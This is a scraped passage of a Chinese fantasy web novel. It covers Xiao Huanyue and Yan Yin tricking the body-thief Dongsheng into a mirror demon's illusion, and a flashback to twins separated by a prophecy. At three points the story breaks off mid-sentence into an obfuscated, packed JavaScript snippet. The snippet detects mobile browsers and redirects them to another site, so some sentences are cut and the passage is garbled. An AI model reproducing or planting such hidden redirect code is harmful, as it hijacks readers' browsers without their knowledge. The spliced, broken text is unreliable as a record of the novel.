并且东生考虑得十分周到,提前在自己那具千疮百孔的身体上做了手脚,以至于白曜死后也无法脱离躯壳。那些缠绕着尸体的白布上画着某种隐形的符纹,具有压制魂魄的作用。 白曜被困在那具身体之中,知道这样下去的后果一定是魂飞魄散。他第一时间就做出了决断,抱着玉石俱焚的心态,硬生生从符纹的间隙中挣脱出来,要为自己的灵魂谋一条生路。 犹如大象钻鼠洞那般,代价是魂魄几乎被撕成两半。 在魂魄将要飘散的瞬间,他已经失去意识,像沙漠中渴极喉烧的旅人,在求生本能之下挣扎着爬向水源——他钻进了萧唤月的身体。 那时,萧唤月正在同“白曜”讨论尸体的归属问题。似乎是察觉到躯壳中的灵魂失去了生气,“白曜”终于松口,答应将尸体交给萧唤月。 “......我靠。” 在言隐口中听到了全过程,萧唤月震惊到只能吐出这两个字。 在她不知情的状况下居然发生了这么多事,白曜在她眼皮子底下被迫害了! 虽然他们之间的兄妹之情比水还淡,但萧唤月还是忍不住觉得,白曜有点太惨了。 “他之前入你梦,只是想让你注意到他的存在。”言隐声线平平地转达了白曜的话,“他说对不起,以后不会那样了。” 萧唤月叹了口气:“这倒是小事了。” “他还说,现在能意识清醒地同我对话,是因为多日来受你灵力滋养。起初他什么都做不了,后来渐渐能影响到你的梦境,还能在凡人眼前幻化虚境......不过这也是极限了。” “保持这个状态的话,他就能一直不消散?” “应该是吧。” “那就......先让他借宿一段时间。”萧唤月又叹起气来,“总不能让他魂飞魄散。” 言隐:“但一直这样也不是办法。” 萧唤月:“先把东生的事情搞清楚,争取把白曜的身体抢回来。如果放任不管,对修仙界而言也是个隐患。” 两人在槐树下嘀嘀咕咕商讨了半天,发现线索实在有限,唯一能确定的就是东生的身份绝对不简单,之前很有可能隐藏了实力。 就冲那一手压制魂魄的法术,就足以确定此人道行比他们想象中要深很多。 苦心谷的噬魂阵也多半是东生所布下,那时他就想抢夺白曜的身体,却意外让白曜和萧唤月换了魂。 可他的行为动机究竟是什么? 冥思苦想了半天,言隐找不到头绪。 他觉得自己脑子不如萧唤月好使,很多事情干脆懒得去思考,但关于东生,他是真的产生了好奇心。 毕竟连他都没能看出那裹尸白布的蹊跷,东生却精通此道,锁魂锁得这么熟练,鬼王不如换人来当算了。 灵魂涉及生命本源,触及天道,施展锁魂之术通常伴有不可忽视的代价,除非...... 言隐灵光一闪:“我知道了!” 萧唤月疑惑扭头:“知道什么?” 言隐清了清嗓子:“锁魂术和封印术,二者常常被混为一谈,但原理其实不同。前者直接作用于魂魄本身,后者则是通过改变魂魄周围的环境,创造一个‘牢笼’般的存在,以此困住魂魄。这很讨巧,效果都是一样的,可施展封印术的代价却要小很多,只需多一些灵力损耗。” 萧唤月听得呆住,言隐的思维有点跳跃,她需要花时间消化一下他话里的意思。 言隐急切等待着她的回应:“怎么不说话?” “我在想......” “嗯?” “你刚才侃侃而谈的时候,看起来还挺聪明的。”有种被知识污染的美感,好新奇。 跟言隐厮混了这么久,差点忘记他是个有百年道行的老鬼怪了。 “哦......不是。”萧唤月反应过来自己说了什么,在言隐开口之前赶紧把话题拉回正道,“我是说,我认真思考了你的话。你想说,东生之前是用封印术困住了白曜,对么。” “对。”言隐赞许地点头,眼神中流露出“孺子可教”的兴奋。 符纹的本质是灵力编织而成的“锁”,薄弱处通常位于灵力交汇点。白曜当时顾不了太多,为了挣脱束缚,按照曾经破解自家封印的方式,顺着符纹游走摸索,没想到真的被他抓住了那个漏洞。 现在看来,白曜的好运气并非偶然,那符纹的确跟白家有点关系。 众所周知,封印术乃里云宫白氏的当家招牌,仅凭一手“胜天锁”,修仙界便难有人望其项背。 萧唤月:“东生曾经为自己伪造的身份也是‘里云宫修士’,难不成他真的在里云宫进修过?” 言隐顿了一下:“可他不是很久之前就陪在你身边了吗,应该没空去里云宫拜师吧。” “没有一直陪着,只是偶尔出现。”想起过去的事,萧唤月有点恍惚。 “有够神秘的。” “对了,我记得换魂之后,可以看到对方记忆中的一些画面。你问问白曜,他有没有看到东生的?” “当然没有,不然他早说了。” 大概是还没来得及接收到记忆,就摔下山崖肉魂解体了。身体仅作为困住灵魂的容器时,魂魄看不到属于原身的记忆。 系统:【检测到攻略对象现好感度数值:88】 脑海中突然响起一道欠揍的电子音,言隐有些莫名其妙,不知道这个时候系统跑出来找什么存在感,一点眼力见没有,没看见他正忙着呢吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100860|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统:【好感度数值达到90,可开启下一阶段积分奖励,望宿主再接再厉。】 言隐不以为意——催什么业绩啊,顺其自然呗。 不过......积分奖励?他猛地想起来,自己还攒了些积分没用呢。 不是不想用,而是系统商城里的东西挺贵,30积分换不了什么好东西。 系统:【用于窥探别人记忆的一次性镜片,售价60积分。】 提醒到这个地步,言隐总算反应过来,这件曾让他懒得多看一眼的鸡肋道具......不正好能解当下的燃眉之急么? 他迫不及待地打开系统面板,查询那件道具的功能与用法。 商品详细栏中的小字显示:“当宿主完成适配佩戴后,其首次建立视觉焦点锁定的生物,将触发镜片中的记忆读取功能,此效果只能激发一次。” 意思是戴上镜片后,第一个看到的是谁,就能读取到谁的记忆。言隐一琢磨,现在他最想看东生的记忆,可东生人又不在这里。 他思索了片刻,问系统道:“尸体行不行?我看一眼尸体,能读取到尸体生前的记忆么。” 系统:【肉身保存完好,距死期不超过三十日的,可以。】 言隐精神一振,心道果真是车到山前必有路,转头拉着萧唤月就要向她传达这个好消息,结果支吾了半天,也没说出个所以然来。 脑中警报声响起,他这才想起不能透露系统的存在,只好换了个委婉点的说法。 “阿月,我这儿有个法宝,戴上它就能提取到东生的记忆。”言隐目光炯炯地盯着萧唤月,“但这宝贝暂时没法拿到手,你得再......多喜欢我一点才行。” 萧唤月脸上露出片刻的迷茫,说话不自觉大舌头起来:“喜......喜欢你?” 怎么突然拐到这话题上? “就是像上次拿灵芝一样啊!”言隐疯狂暗示。 萧唤月一点就通,眼神流转,想起来确实是有这么一回事——言隐能通过提升她的好感来获取某种好处。 又不禁回忆起上次在酒楼里的事,为了提升所谓的好感度,两人想出的办法就是增加亲密接触...... 她尴尬地偏过头去。 言隐以为她没明白,还想再解释得更清楚些,被萧唤月一把捂住了嘴:“我知道。” 他的声音隔着萧唤月的手掌传出来,闷闷的,带着点疑惑:“你知道?” “我知道。” “哦,那就好,像上次一样,我们赶紧......”言隐说到这里,忽然住了嘴。 萧唤月垂下眼睫,慢慢道:“第一次管用的法子,第二次未必管用。好感度那种东西太飘渺了,没法随心控制,而且......” “嗯?” “通过提升好感度获取的那些东西,应该都价值很高罢。一朵活死人肉白骨的灵芝,已经是现实中难得一见的宝贝。” “那是自然,你的好感度是很珍贵的东西,用它换来的东西也不会是凡品。” 言隐回想起刚来到萧唤月身边的那段日子,那好感度爬得比蚂蚁还慢,能涨个一两点就谢天谢地了。 萧唤月认真道:“所以你应该慎重一些。” 上次换来的灵芝用在了她身上,让她重见光明,已经是了不得的人情。饶是她再厚脸皮,也不好意思扒在言隐身上继续谋利了。 况且......她希望言隐能多为自己考虑考虑。 很早之前她就发觉了,言隐总是围着她转,主动也好,被动也好,他鲜少以个人动力行事。 明明是个冷漠又善恶观淡泊的人,却好像总是在为别人而活。倒不是说言隐多有奉献精神,而是他很容易对这个世界感到“没意思”,必须得有人在他身边,为他提供“”动机”才行。 如同说内在动机是兴趣,外在动机是奖励,那么言隐缺乏的正是前者。 他所表现出来的“兴趣”实在太浅薄,就像幼童低头欣赏一朵水花,被外物牵动的情绪转瞬即逝。 萧唤月想,他需要的是“奖励”。这种奖励不一定是具体的东西。类比一下,大概就是狗玩飞盘,她只需要做那个扔飞盘的人,而言隐负责追逐。 可是,飞盘虽在她手里,什么时候停止玩耍,却是言隐说了算,他如果不愿再迈开步子追逐飞盘,这场游戏就结束了。 她忽然想起,言隐谈及自杀往事的时候,神色语气都是淡淡的。 “我活腻了。”他当时这样说。 萧唤月有些不安,言隐此刻明明在她身边,她却觉得这个人滑得像泥鳅,稍不注意就会溜走。 他现在还陪在他的身边,是因为还没有腻吗?那他什么时候会腻? 完全不知道萧唤月思维发散到了这种地步,言隐一心只想着薅系统的羊毛: “这有什么可慎重的,好钢就该用在刀刃上。” 萧唤月回过神来,看着他,笑了笑:“可是,那宝贝现在还没法拿到手。如果好感度一直提不上去,我们也不能坐以待毙吧,不如先试试别的办法。” “哦?”言隐惊奇道,“你已经想到办法了?” “嗯。”萧唤月托着下巴,轻声道,“不知道管不管用,但可以一试。” 55. 第 55 章 萧唤月想出的法子很简单,就是把东生喂给苦心谷的镜妖。那妖能提取已死之人的记忆来搭建幻境,在这种时候正好派上用场。 不过东生现在处于一种说死没死说活也不算活的二象性状态,他的尸体在萧唤月这里,灵魂却在里云宫少主的壳子里。 镜妖的能耐当然比不上系统,单投喂一具尸体进去恐怕是不够的,得想办法把东生的魂也骗来。 这不难办,他们大可请求外援。里云宫那边估计被东生监控着,贸然给白江传递消息恐打草惊蛇,玉胥宗便成了第一选择。 关键时刻还得靠自家师兄师姐才行。 萧唤月想的是,请长老借“镜心潭封印不稳”的缘由请里云宫少主再出面一次,毕竟这封印是他布下的,找他售后很合理。 唤来仙鹤,萧唤月在信中将情况详细写明,寄往丘山。 不久后便收到昭意的回信,先是说近日宗内形势不大好,凡界几座要塞都被妖族入侵,需仙门出手支援。 八万春长老不放心将此事交与经验浅薄的弟子,干脆亲自下山处理去了。不过这点不用太担心,妖族的计划已被修仙界察觉,收拾起来只是时间问题。 不怕麻烦多,就怕麻烦被捂在风平浪静的假象之下。 孤水长老要操持宗中事务,还要助宗主处理归虚长老的后事。此等修为的大能,去世后必然不能草草埋葬了事,需净化残躯,处理生前物品及因果。 总而言之,长老们都抽不开身,但对于白曜的倒霉遭遇,他们也不会坐视不管。 换魂嘛,不算什么难事,只是萧唤月要窥探凶手的记忆,便得颇费一番工夫了。最终孤水长老还是决定采纳萧唤月的建议,修书一封,请里云宫少主出面,前往镜心潭修补封印,借镜妖来探一探事情真相。 路承蕊正好在十燕城,在长老的指示下将与他们一同行动。届时她不必入水,待在潭外,可助萧唤月和言隐随时脱身。 与长老的回信一起被寄送回来的还有一件法宝,名叫传念绳,轻巧便携,绑在手腕上可自动隐形。 绳子两端的人可以向彼此传递信号,虽然不像通讯符那样可以传输具体的信息内容,但胜在能无视空间与地形,就算其中一方身处镜妖的幻境之中,也能联系到绳子另一端的同伴。 他们商量好,到时萧唤月拉三下绳子,就是让路承蕊救他们出去的信号。 “师姐。”萧唤月有点紧张,“你知道怎么把幻境里的人拉出来吧。” “那当然,我可是八万春长老的亲传弟子好么,别把你师姐看扁了。”路承蕊随即又有些忧心,“唉,但是,这样的话,我就没法陪你们一起进去了。” 萧唤月哼哼两声,有意展现出志在必得的样子,好让她放下心来:“也别把你师妹看扁了。” * 约定好的日子就是今天。萧唤月等人早已抵达苦心谷,在镜心潭边等了许久,日头西斜,白曜才慢吞吞赶来,脸上写满了不爽,一副被迫接下任务的样子。 他除了对路承蕊还算客气,对其他两人连招呼都没打。 上次分别时的不愉快还历历在目呢。 萧唤月对他也没有好脸色,鸠占鹊巢还这么嚣张,怎么好意思的。 她上下打量了白曜一眼,发觉他今天穿得格外高调,虽然以前就够高调了,但今天更是打扮得赛过孔雀开屏,腰间挂的手上缠的头上戴的,件件不落,简直要晃瞎萧唤月的眼睛。 一种穷人乍富的既视感。 “好了,说正事。”白曜不耐烦道,“封印哪里不稳?玉胥宗想让我再加几道么,还是说另设结界?” 萧唤月搬出事先编造好的说辞:“玉胥宗长老们已经商讨过,觉得最好是把镜心潭变回一汪普通潭水。毕竟,就算设立结界,也可能会有生灵误入此地,结界没法隔绝所有东西。” 白曜言简意赅:“办不到。” “为什么?” “封印术的作用是‘禁锢’,而非‘变化’。这潭水就是镜妖本体,如果踏进去被它吸入幻境,只能自认倒霉。有人上赶着要找死的话,那就随他们去。” 萧唤月站在池边,状似无意地蹲下身去,伸手在水面划拉了一下:“冰冰凉凉,清澈见底......看起来还挺无害的,居然那么危险吗。在岸边耍水而已,应该不会被它吸进去吧?” 白曜毫不留情:“你就是我说的那种上赶着找死的人。” 话音刚落,萧唤月噗通一声掉下水,慌张大叫起来:“言隐,言隐,快拉我上去!” 白曜默然不语,心想她可真没用,修行的时候肯定没有太用功,这都能掉下水,反应力够迟钝的。 不过镜心潭被加了那么多道封印,的确不至于这种程度就中招,就让她在潭中多喝几口水,长个教训。 看着萧唤月在水边扑腾,白曜不为所动,甚至走开了几步。转头瞥见路承蕊面露慌张,他才勉强出言解释道:“仙友别担心,这个范围还是安全的,而且你那个姓言的师弟已经去捞人......” 又是噗通一声,言隐和萧唤月双双落水。 言隐一脸难以置信:“这岸边哪来的那么多青苔,这么滑!” 似曾相识的画面。上次在波玉潭他们也是这样一前一后落水。 白曜忍无可忍:“你们两个是......吗?” 中间的“废物”二字被他模糊了音节,但依然能听出不是什么好词。 萧唤月:“不是啊,这水有问题!” 白曜冷冷道:“打架不是挺能耐的,怎么一滩浅水就把你们给难住了。” “这水哪里浅了?”萧唤月艰难伸手,去够岸边的树枝,“真的有问题,我身上法术都使不出来,像有什么东西在把我往里吸似的......白曜,你离得近倒是搭把手啊!” 白曜还是没动。 路承蕊却不能坐视不管,赶紧挽起袖子,作势要去捞人,指尖却刚好与萧唤月擦肩而过。她反应很快,意识到手不够长,便转而用剑鞘去够,然而萧唤月又被往里吸了几寸,言隐更是大半个脑袋都埋进了水里,更够不着了。 路承蕊懊恼道:“都怪我前些日子受了伤,如今使不上力......师妹稍等,我去另找个长些的棍子。” 见此情景,白曜总算有了点反应。略一运功,他发觉此地确实有点不对劲,灵力滞阻,无法像平常那样自如地收放法术。 他不知言隐等人已提前布好了缚灵阵,今日的一切都是演给他看。 萧唤月面朝言隐,呛了几口水,边咳嗽边道:“白少主,你的封印术又开始无差别攻击了么?” 白曜知她是在暗示自己上次攻击言隐那事儿,但今天他并没有做手脚,攒眉道:“不是我。” 萧唤月沉下去又浮起来,肚子里喝饱了水,嘴边咕噜噜冒着气泡。 白曜举起手中长枪,往前走了一步,他手长兵器长,目测刚好能够到萧唤月。就怕这潭水有蹊跷,到时救人不成反而连累了自己。 萧唤月看起来并不好受,长发湿漉漉地贴在颈边,脸颊因呼吸不畅而泛红,只能尽力仰头,让口鼻露出水面。 “哥哥!” 白曜略微疑惑地抬了抬眉,意思是你叫我? “白曜......哥。”萧唤月疑似为了活命打起亲情牌,“别见死不救啊。” 路承蕊的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100861|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音从远处传来:“师妹别急,我找到一根很长的棍子!” 萧唤月目前情况不容乐观,看起来下一秒就要沉入水底,而言隐已经连头都看不见了。 白曜觉得有点不对劲,但一时又想不出哪里不对劲,没等想出个所以然,手已经自行抬起来,蓄风枪指向萧唤月的方向。 心里竟也觉得新鲜——这还是第一次,枪尖所指的方向,不是敌人。 萧唤月的手指顺势攀上那柄冰冷长枪,小心避开尖刃。 与此同时,水下的言隐施展法术,将萧唤月连同那柄长枪一起,往潭中央的方向拖拽。 感知到长枪另一头的恐怖力道,白曜下意识就要松手,可那股力紧紧将他的手吸附在枪杆上,怎么也甩不脱。 水中央显现出巨大漩涡,是镜妖察觉到猎物的气息,迫不及待张开了进食的嘴。 言隐收了法术。借此时水漩涡的吸力,正好可以将刚才针对白曜的攻击,伪装成一场意外事故。 三人像糖葫芦似的连成一串,消失在水浪中。 事情发生得太快,掉入镜中世界时,白曜愣了几秒,不敢相信自己真的被镜妖吞吃入腹。在层层封印加固之下,镜妖无法离开此地,且应该处于一种半休眠状态才对。 殊不知镜妖方才被言隐注入的灵力激发了凶性,否则以它此时的能耐,饶是胃口再大也没法一口气吞下三位高阶修士。 岸上的路承蕊叹了口气,扔掉手中的长棍。终于不用再演戏,她松了口气,坐在地上,等待萧唤月给她发信号。 那位白少主长得一表人才,被夺了壳子不说,连带着一身修为都拱手让人,实在可怜。她希望师妹师弟能成功才好,等弄清了原委,便叫凶手物归原主。 她在水边发呆的这会儿工夫,镜中世界又是另一番光景了。 萧唤月在迷宫中走得昏昏沉沉,只觉时间漫长,都过去了好几日,东生的记忆还没被镜妖消化掉。 为了这么一碟醋,她和言隐愣是包了盘饺子,在幻境中进进出出,心力交瘁的同时还要安抚东生。 “师姐肯定搬救兵去了,别担心。”萧唤月语气真诚,脸上挂着讨好的笑——毕竟东生是为了救她才被拉进来的,她的态度热络一些无可厚非。 这时候还不能与东生撕破脸皮,否则他若执意要与他们分路而行,在这路况复杂的镜子迷宫里可不好找人。 期间东生还问了一嘴,之前那悟道崖怪人的尸体在哪。 萧唤月回:已经送回玉胥宗了。 这答案显然让东生安心了许多,至少脸色不再臭得吓人了。 殊不知那尸体就在萧唤月乾坤袋里装着,一滩死肉,哪里能抵抗得了镜妖的蚕食,俨然已成了幻境的养料。何况东生的魂魄也在此界,足以让镜妖提取到完整的记忆。 话虽如此,萧唤月心中也并不十拿九稳,万一镜妖不争气怎么办?她是要借镜妖的手探明真相,可并不想把自己也搭进去啊!在这儿停留太久的话,她自己也会成为食物残渣的。 幻境生成的速度越来越快,刚开始还有点缓冲时间,到了后来,几乎前脚刚从上一个幻境里迈出来,后脚便又进了新幻境。 “过去多久了?”萧唤月问言隐。 她有点坚持不住了,心中打起退堂鼓。别到时候东生这块骨头没被啃掉,反而赔进去了自己人。 言隐看上去精神头还好,但身处异境他也没法准确判断时间,只能说了个大概数字:“二十多日?” 眼前一阵熟悉的白光闪过,萧唤月心中哀嚎不止——又要被扔进新副本了,不知这次会被如何磋磨。 出来之后就拉绳子吧?她迷迷糊糊地想。 56. 第 56 章 “这两兄妹命格犯冲。”命师叹了口气,同程红玉解释,“有个先例,也是对命格犯冲的双胞胎,小时候相亲相爱,长大后为争夺家产大打出手,弟弟分地产分得多些,哥哥怀恨在心,在井中投毒杀了全家老小,连只鸡也没放过。这就叫犯冲。” 程红玉刚生产完,虚弱地倚在靠枕上:“那大师的意思是?” “送走一个,留下一个,断了兄妹缘,此局或许可解。”命师的表情冷硬,“夫人不必心软,双生子的降生,本就是不祥之兆。” 襁褓中两个小团子,吮吸着手指,好奇地张望这陌生世界。不久前他们还蜷缩在温暖的羊水中相拥而眠,现在他们被分开了,隔着柔软的布料感知不到对方的体温,连呼吸声传来的方向都变得混沌不清。 程红玉好似终于下定了决心,抬头看着白江:“要女儿。” 白江沉默了很久,才接话道:“另一个呢?” “给他改个名儿。”程红玉转过身去,看起来心情很差,多说一句都嫌烦,“送到玉胥宗去。剩下的你来安排。” * 十六年光阴流转,门前的石阶已被东生的练功靴磨出浅浅凹痕。小荼峰背阴面那株他亲手栽下的幼苗也长大了,日夜被灵气浸泡着,长势惊人,三人合抱才能围一圈。 他很少对什么东西倾注心血,这棵树算其中之一。陪伴着他长大,意义非凡。 每次东生来小荼峰转悠,总是要顺道看一眼自己的树。今天却不一样,他步履匆匆地掠过了它,径直往悴平洞的方向走去。 那日冬至祭剑,他有幸见到了传说中那位不世出的归虚长老。长老叫露叶连,名字很美,容貌却骇人,紫红色的瘢痕爬满整张脸,右眼球表面结着蛛网状的乳白膜,瞳孔如熄灭的炭火。 彼时东生低头不敢细看,长老却点名要他上前,替她擦拭佩剑。 这是殊荣,他断然没有拒绝的理由。只是擦拭剑柄的过程中,柄底暗格竟突然弹出一卷陈年信笺,他不动声色地接住,心里打起鼓来,暗想今日不会这么倒霉罢,擦个剑柄,也能擦出意外来? 藏在这种地方的小纸条,指不定记载着什么秘密,只是年月久远,长老忘了这回事吧?竟然让他经手此剑。 火漆封印的“白”字已经被扯碎,手指轻轻一捻便能打开信笺。他知道把信塞回去才是正解,可好奇心作祟,他有点想瞧瞧,上面写了什么。 身后的归虚长老幽幽开口:“留给你的时间很多,可要擦仔细了。” 东生心念一动,反正动作慢点长老也不会说什么,看一眼,就看一眼,应该没影响吧? 捻开泛黄信笺,其上字迹力透纸背,“白曜”二字被朱砂划去,旁边标注着“宗主赐名东生”。 他手一抖,没想到会在这儿看到自己的名字。 信笺再展开,旁边还有一行“送玉胥宗者断发为记......” 身后突然响起归虚长老的质问声:“怎么了?你灵力波动得厉害。” 他把信笺塞回暗格:“弟子修为不精,受剑气影响,心念激荡。” 露叶连冷哼一声:“我观你资质上佳,既然修为不精,必然是平日里不够勤奋了。” 被长老夸赞天赋上佳,他却没有多开心。 匆匆结束了祭剑活动,东生回去干的第一件事,就是顺着那纸笺上的只言片语,抽丝剥茧,寻一个真相。 他本以为自己是被宗主捡回来的,如今看来,事情并没有那么简单。是他日思夜想的生身父母,做出了抛弃他的选择。 寻找真相的过程很艰难,因为他的人缘算不上好,大多数时候只一个人闷头修炼。如今想利用人脉打听些消息,想了一圈,居然只有昭意和路承蕊可能会愿意帮忙。 不过东生清楚,这两人愿意帮忙,不是因为跟他关系好,而是因为本就爱管闲事。对于找上门来的麻烦,他俩只要有空,都不会避而不管的。 尤其是昭意。 东生不怎么喜欢这位师兄,却也不由得庆幸,昭意的好人缘在此时派上了用场。 昭意帮他打听到了一个很有用的消息——里云宫宫主,十六年前得了一儿一女,女儿单名“月”,儿子单名“曜”。这是在两个孩子出生前就取好的名字。 可惜儿子早夭,如今里云宫白家,只有白月一个掌上明珠。 同样是十六岁,同样的天赋超然。东生在玉胥宗挤破头也抢不到亲传弟子的名额,白月却已是里云宫内定的当家人,年少有为,天骄无双。 他没有见过她,但是从别人的描述中能想象到她的样子——清隽美丽,身份高贵,像只高昂着头颅的天鹅。 “欸,仔细一看,你和白少主长得有点像......不知道能不能去攀个亲戚?”曾经有同门对东生说过这样的话,当时他不以为然,并没有将自己和那高高在上的大小姐联系到一起去。 同门也并不真觉得东生能去攀白家的亲戚,正是因为笃定攀不了,才能毫无芥蒂地说出这番话来。 东生深吸了一口气。 今天大着胆子找去悴平洞,是为求一个结果。 他知道露叶连长老最是厌恶旁人不请自来,扰她清修。 本都做好了吃闭门羹的准备,没想到露叶连长老今日大发慈悲,允他说明来意。 听完了前因后果,长老并未赶他离开,也没有露出什么多余的情绪,只是平静地看了他一眼:“怪不得那日祭剑,你磨磨蹭蹭,半天也擦不好。” “弟子该死!” “罢了,那是宗主的旧剑,我不知道里面藏了信笺。”露叶连冷冷道,“幸好不是什么宗门机密,瞧见便瞧见了,应当不妨事。你的身世问题,我一点也不感兴趣,来找我做什么?” 白曜心跳如擂鼓:“我只想知道,我的猜测是否正确......” “真真假假有什么重要。”露叶连居高临下地看着他,“就算是真的,白家难道会认回你吗?” “......我不明白。” “不明白什么。” “他们当初为什么抛弃我。”白曜执拗地要寻求一个答案,声音却不自觉低了下去,不知是在问露叶连,还是在问自己。 “啊。”露叶连看了他半晌,忽然想起什么似的,轻笑一声。“这个我有点印象。” “好像......是因为一则预言吧。”她举起一根手指,“仅仅一句话,就决定了你的去留。” * 里云宫中的桃树开了十六次花,当年悬挂秋千架的枝桠早已探出朱墙。 白江每月初七雷打不动地闭关,却不知女儿总在此时倚着宫墙听风。他对女儿一向了解甚少,修行以外的事,基本不会过问。 白月抓着檐角,探出去看了一眼。 很好,没人。 今天她要做一件大事,必须谨慎谨慎再谨慎,不能出丝毫差错。 生平第一次,她在未经允许的情况下,翻出了这道墙。 里云宫的景色看腻了也就那样,她毫不留恋地将那些花草树木甩在身后,越跑越快,迎接自己十六岁的崭新未来。 通俗点说,就是离家出走。 对这个地方她着实没什么好印象,别人看她光鲜亮丽,个中辛酸只有自己知道——可恶,他们怎么会知道她在白江手下挨过多少打! 也就是长大后有了反抗之力,才挨打挨得少些。又或许是白江从她恨恨的眼光中意识到了什么,觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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千淘万漉,才在无数个候选词中敲定了这个字不是吗。曜,是日光的意思,他喜欢这个字。 “你们当初不该那么草率,父......”他满含热切地刚要叫出那个称呼,突然察觉到自己的舌头僵硬无比,像是被石化了一般,怎么也说不出下一个字。 很快他意识到,正是眼前的男人,不愿让他在众人面前说出更多。 白江也头痛。他又不是傻子,更没到年老忘事的年纪,“白曜”这个名字是他和程红玉赐给儿子,又亲自从儿子身上剥离的,他记得。 可是他们已经断了亲缘,这个年轻人,怎么就听不懂他的暗示呢?他都表现出这般态度了,对面这傻小子居然以为他真的记性不好。 白曜......爱叫这个名字就叫吧,反正天下叫白曜的人何其多,不见得个个是他儿子。 本来还能好好说话,执意要攀关系,那便没有再交流的必要了。 玉胥宗也真是,说好瞒着这小子,怎么不瞒彻底?平白搞出这些幺蛾子,惹人心烦。 白江赶走周围看热闹的弟子,自以为仁慈地对白曜道:“噤声咒两个时辰可解,不必担心。” 白曜嗯嗯呜呜,说不出话。他的愤怒取代了所有的情绪,他想破口大骂,这个男人把他的自尊按在地上,还要粉饰太平。 “不要再来找我。你是玉胥宗的弟子,跟我没有关系。”白江说。 在白曜像条野狗一样被撵出去的时候,白月正涉水蹚过一条小溪。 他狼狈不堪地离开,她满心欢喜地奔赴。 两人在山脚擦肩而过,一左一右,去往不同的方向。 57. 第 57 章 游历人间的第十三天,白月捡了个小孩儿。 那是个无家可归的乞儿,穿着一身不知从哪捡来的破烂衣裳,料子短了,露出一截清瘦的手腕。 他当街行窃,被白月逮了个正着。 “有手有脚的为什么不自己找工作,实在不行去讨饭呐。”白月一边骂他,一边给他塞了袋碎银。 没想到小孩不要。他露出一副看到长期饭票的眼神,白月走到哪里,他就跟到哪里。 连续走了四条街都没甩掉这小孩,白月有点不耐烦地转过身去:“你干什么跟着我?” “姐姐,你刚才抓我偷东西的时候,那一手功夫很帅。”小孩的眼睛亮晶晶,“你孤单一人,是在闯荡江湖吗?” 白月眼珠一转:“......对。” 谁还没有点虚荣心了?被小孩用这么充满崇拜的眼神看着,她不自觉挺直了胸膛。 “我可以跟你一起吗?我拜你为师好不好。”小孩围着她转圈。 “不好。” “那我不拜你为师,只跟着你,做你的奴仆。” “我不需要仆人。” 遭到白月的连番拒绝,小孩却并不放弃。他用行动证明了无论白月的回答如何,都不能打击他要当仆人的决心。 白月不知道他是怎么摸到了自己的住处,每天清晨她从客栈里一出来,就能看见这小孩在门外等着,然后从呈上一份干净热乎的早餐,笑嘻嘻地说姐姐请用饭。 伸手不打笑脸人,况且白月对着一个小孩也发不出什么脾气,只能硬邦邦道:“你哪来的钱?” 小孩委屈:“你给我的呀。那些银子我都省着没有用,全拿来给你买东西吃了。” “......说了给你就是给你,自己留着花。” “姐姐,如果你带上我,我每天只吃一顿饭,花不了你多少钱。而且等我长大了,还可以干苦力,挣来的钱全给你。收下我,你稳赚不赔的。” 白月乐了:“你倒是会替我算计。不过我还没有穷到要克扣旁人口粮才能过活的地步。跟着我,就为了一顿饭?” “姐姐,我看出来你不是一般人了,跟着你,我想学本事。”小孩比划了两下,“哼哼哈嘿,三两下,就能打倒一个大汉。” “想学本事,认真的?” “认真得不能再认真了!” 这就对了。白月心想,这孩子明明看起来不像是有多喜欢她的样子,往客栈外一蹲,跟上班打卡似的。 孤苦伶仃的孩子,大概率只是想找个靠山。她表现出来的本事,恰好让这小孩儿觉得,她可以是那个靠山。 想通之后她也不纠结了,问他:“你叫什么名字?” “言隐。难言之隐的言,难言之隐的隐。” “哟,读过书?” “一点点。” 白月点了点头,又问他:“你多少岁?” “十二......但是马上十三了。” “有什么差别,都是小屁孩。” “那姐姐你多少岁?” “......大人的事情少问。” “哦。”被呛了也不生气,言隐脾气很好地道,“姐姐允许我跟着你学本事了吗?” 白月咳了一声:“先说好,我不可能一直把你带在身边。” “我明白。” “这点是前提,然后呢——”白月严肃起来,“我这次出门,不知道什么时候就要回去。换言之,我的生活是不稳定的,你随时会被抛弃。这样,你也要跟着?” “跟。” “最后一点。”白月决定对他坦诚一些,“我自己也是半罐水响叮当,本事还行,但当老师没什么经验,你能学多少学多少,随缘。” 言隐点头如捣蒜:“好,我会努力。” 其实他在想,万事开头难,只要她允许他跟在身边,剩下的就好说了,就算之后她赶他走,他也不离开。 当时的白月抱着一种看新鲜的心态,觉得身边带个“徒弟”,闯荡人间会很有意思。她并没有想到,这个牛皮糖一样的小男孩,本就是为她而来。 * 言隐说谎了。 他对白月说自己快要满十三岁,其实这副身体的生理年龄还不到十二。 大着胆子也只敢多报一岁,因为他觉得,如果说自己十四五,肯定会被质疑高度营养不良。 收徒不都得看根骨么?十五岁还长这么矮的话,一看就不是习武的料子。 